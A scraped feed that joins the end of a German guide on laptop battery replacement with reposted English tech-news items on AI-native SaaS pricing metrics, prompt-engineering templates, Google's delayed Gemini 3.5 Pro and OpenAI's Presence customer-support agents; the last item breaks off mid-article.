<p class="wp-block-paragraph">Wenn die Diagnose zeigt, dass Ihr Akku physisch noch fit ist, dann liegt das Problem vermutlich an Software mit Selbstbedienungsmentalität. Praktisch: Windows und macOS verfügen über integrierte Stromfresser-Finder. Unter Windows navigieren Sie zu <strong>Einstellungen</strong> <strong>→ Strom und Akku → Akkunutzung</strong>. Dort listet Windows genau auf, welche Apps in den letzten Tagen am meisten Energie verbraucht haben. Auf dem Mac erfüllt die App <strong>Aktivitätsanzeige</strong> (Reiter <strong>Energie</strong>) denselben Zweck. Stoßen Sie hier auf Programme, die Sie gar nicht aktiv nutzen, sollten Sie deren Hintergrundaktivität einschränken oder die Software komplett deinstallieren.</p>



<p class="wp-block-paragraph"><strong>💡 Infobox: Das neue Recht auf Reparatur (Stand 2026)</strong></p>



<p class="wp-block-paragraph">Das<strong> Recht auf Reparatur </strong>stammt von der Europäischen Kommission und dem EU-Parlament. Ziel des Gesetzespakets ist es, die wachsenden Berge von Elektroschrott auf dem Kontinent zu reduzieren und die Kreislaufwirtschaft zu stärken. Nach der Verabschiedung der EU-Richtlinie im Jahr 2024 hatten die Mitgliedsstaaten bis 2026 Zeit, die Vorgaben <a href="https://www.pcwelt.de/article/3174903/notebook-akku-tauschen-oder-neukauf-ratgeber.html#" target="_blank">in nationales Recht umzusetzen</a> – nun greifen die Regeln schrittweise und wirken sich zunehmend auf den Reparaturalltag aus.</p>



<p class="wp-block-paragraph"><strong>Was Verbraucher davon haben:</strong></p>



<ul class="wp-block-list">
<li><strong>Reparaturpflicht:</strong> Hersteller sind nun gesetzlich verpflichtet, für gängige Elektronikgeräte (wie Smartphones und Laptops) Reparaturen anzubieten – und das auch nach Ablauf der gesetzlichen Gewährleistung.</li>



<li><strong>Zugang zu Ersatzteilen:</strong> Unabhängige Fachwerkstätten und ambitionierte Bastler erhalten leichteren Zugang zu Original-Ersatzteilen und offiziellen Reparaturanleitungen.</li>



<li><strong>Weniger Software-Sperren:</strong> Praktiken wie das sogenannte “Parts Pairing” (bei dem Ersatzteile per Software blockiert werden, wenn sie nicht von einer offiziellen Vertragswerkstatt eingebaut wurden) werden stark eingeschränkt.</li>



<li><strong>Mehr Wirtschaftlichkeit:</strong> Durch den faireren Wettbewerb sinken die Reparaturkosten, was den Tausch eines Akkus oft attraktiver macht als einen teuren Neukauf.</li>
</ul>



<h2 class="wp-block-heading">Wann lohnt sich der Tausch?</h2>



<p class="wp-block-paragraph">Um zu beurteilen, ob sich die Investition für den Austausch lohnt, hilft die bewährte <strong>50-Prozent-Regel</strong>: Übersteigen die Kosten für die Reparatur (Ersatz-Akku plus eventuelle Arbeitszeit der Werkstatt) mehr als die Hälfte des aktuellen Restwerts des Notebooks, wird die Angelegenheit unwirtschaftlich.</p>



<p class="wp-block-paragraph"><strong>Ein Rechenbeispiel:</strong> Ein vier Jahre altes Premium-Notebook, das früher mal 1.500 Euro gekostet hat, bringt auf dem Gebrauchtmarkt vielleicht noch 400 bis 500 Euro. Eine Investition von 120 Euro für einen fachgerechten Akkutausch ist dann noch durchaus sinnvoll und kann dem Gerät weitere zwei bis drei Lebensjahre verschaffen. Bei einem ohnehin leistungsschwachen 400-Euro-Plastikbomber aus dem Jahr 2021 ist eine 100-Euro-Reparatur jedoch (jenseits von Nostalgiegründen) kaum zu vertreten und gilt als unwirtschaftlich.</p>



<h2 class="wp-block-heading">Wann ein Neukauf wirklich sinnvoll ist</h2>



<p class="wp-block-paragraph">Mal ehrlich: Der Akku ist oft nur das offensichtlichste Symptom eines veralteten Systems. Wer über eine Reparatur nachdenkt, sollte objektiv prüfen, ob die restliche Hardware den heutigen Anforderungen noch gewachsen ist – oder ob man mit einem <a href="https://www.pcwelt.de/article/2215385/die-besten-laptops-test.html" target="_blank">neuen Laptop</a> besser fährt:</p>



<ul class="wp-block-list">
<li><strong>Windows 10 Support-Ende:</strong> Das offizielle Support-Ende von Windows 10 (Oktober 2025) liegt bereits hinter uns. Privatanwender in der EU haben zwar <a href="https://www.pcwelt.de/article/2941599/windows-10-gratis-sicher-nutzen-esu-registrierung-so-gehts.html" target="_blank">Glück im Unglück</a>: Wer mit einem Microsoft-Konto angemeldet ist, <a href="https://www.pcwelt.de/article/3177497/windows-10-bekommt-ein-weiteres-jahr-lang-updates.html" target="_blank">erhält die Extended Security Updates (ESU) im ersten Jahr bis Oktober 2027 kostenlos.</a> Doch spätestens im Herbst 2027 ist endgültig Schicht im Schacht. Geräte, deren Prozessoren nicht offiziell für Windows 11 zertifiziert sind (ältere CPUs vor der Intel Core 8. Generation oder AMD Ryzen 2000er-Serie), stoßen dann an ihre praktische Lebensdauergrenze. Ohne den auslaufenden ESU-Schutz sollten Sie ab diesem Zeitpunkt bei betroffenen Windows-Geräten nicht mehr in einen neuen Akku investieren.</li>



<li><strong>Speicher-Flaschenhälse:</strong> Verlöteter, nicht aufrüstbarer Arbeitsspeicher von 8 GB stößt selbst bei ausschließlicher Browser-Nutzung und Office-Anwendungen oft an seine Grenzen.</li>



<li><strong>Träge Performance:</strong> Wenn das Notebook nicht nur schnell leer ist, sondern beim Öffnen von Programmen ins Schwitzen kommt und der Lüfter permanent auf Hochtouren läuft, bringt auch der stärkste neue Akku kein flüssiges Arbeitsgefühl zurück.</li>
</ul>



<h2 class="wp-block-heading">Zeit für einen neuen Laptop?</h2>



<p class="wp-block-paragraph">Wenn kein (sinnvoller) Weg mehr am Neukauf vorbeiführt, ist das nicht immer eine schlechte Nachricht: Moderne Geräte punkten nicht nur mit deutlich mehr Ausdauer jenseits der Steckdose – sie bringen auch spürbar mehr Tempo und Sicherheit, effizientere Hardware und oft angenehm leise Kühlung in Ihren Alltag.</p>



<h2 class="wp-block-heading">Fazit und Checkliste: Akku tauschen oder Neukauf?</h2>



<p class="wp-block-paragraph">Die Entscheidung zwischen Werkstatt und Neuanschaffung ist am Ende des Tages ein Abwägen von Kosten, Nutzen und Sicherheit. Die folgende Checkliste hilft dabei, das Schicksal Ihres Notebooks zu klären:</p>



<p class="wp-block-paragraph"><strong>Der Tausch lohnt sich, wenn:</strong></p>



<ul class="wp-block-list">
<li>der Laptop noch alle Leistungsanforderungen im Alltag erfüllt.</li>



<li>Windows 11 offiziell unterstützt wird (oder macOS/Linux aktuell ist).</li>



<li>die Gesamtreparatur weniger als 50 % des Restwerts kostet.</li>



<li>das Gehäuse unbeschädigt ist und Scharniere sowie Tastatur noch zuverlässig funktionieren.</li>
</ul>



<p class="wp-block-paragraph"><strong>Ein Neukauf ist besser, wenn:</strong></p>



<ul class="wp-block-list">
<li>das Betriebssystem (z. B. Windows 10) keine Sicherheitsupdates mehr erhält.</li>



<li>das Gerät durch 8 GB RAM oder eine alte CPU ohnehin ein Flaschenhals im Alltag ist.</li>



<li>Displayschäden oder defekte Ports weitere, teure Reparaturen erfordern.</li>



<li>die Reparatur den Zeitwert des Geräts deutlich übersteigt.</li>
</ul>



<p class="wp-block-paragraph">(<a href="https://www.pcwelt.de/article/3174903/notebook-akku-tauschen-oder-neukauf-ratgeber.html" data-type="link" data-id="https://www.pcwelt.de/article/3174903/notebook-akku-tauschen-oder-neukauf-ratgeber.html" target="_blank">PC-Welt</a>)</p>
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<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Google CEO distracts from Gemini 3.5 Pro delay with talk of Gemini 4 and monthly releases]]></title>
<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3694392/it-security-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694392/it-security-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
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<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3694393/it-security-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694393/it-security-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



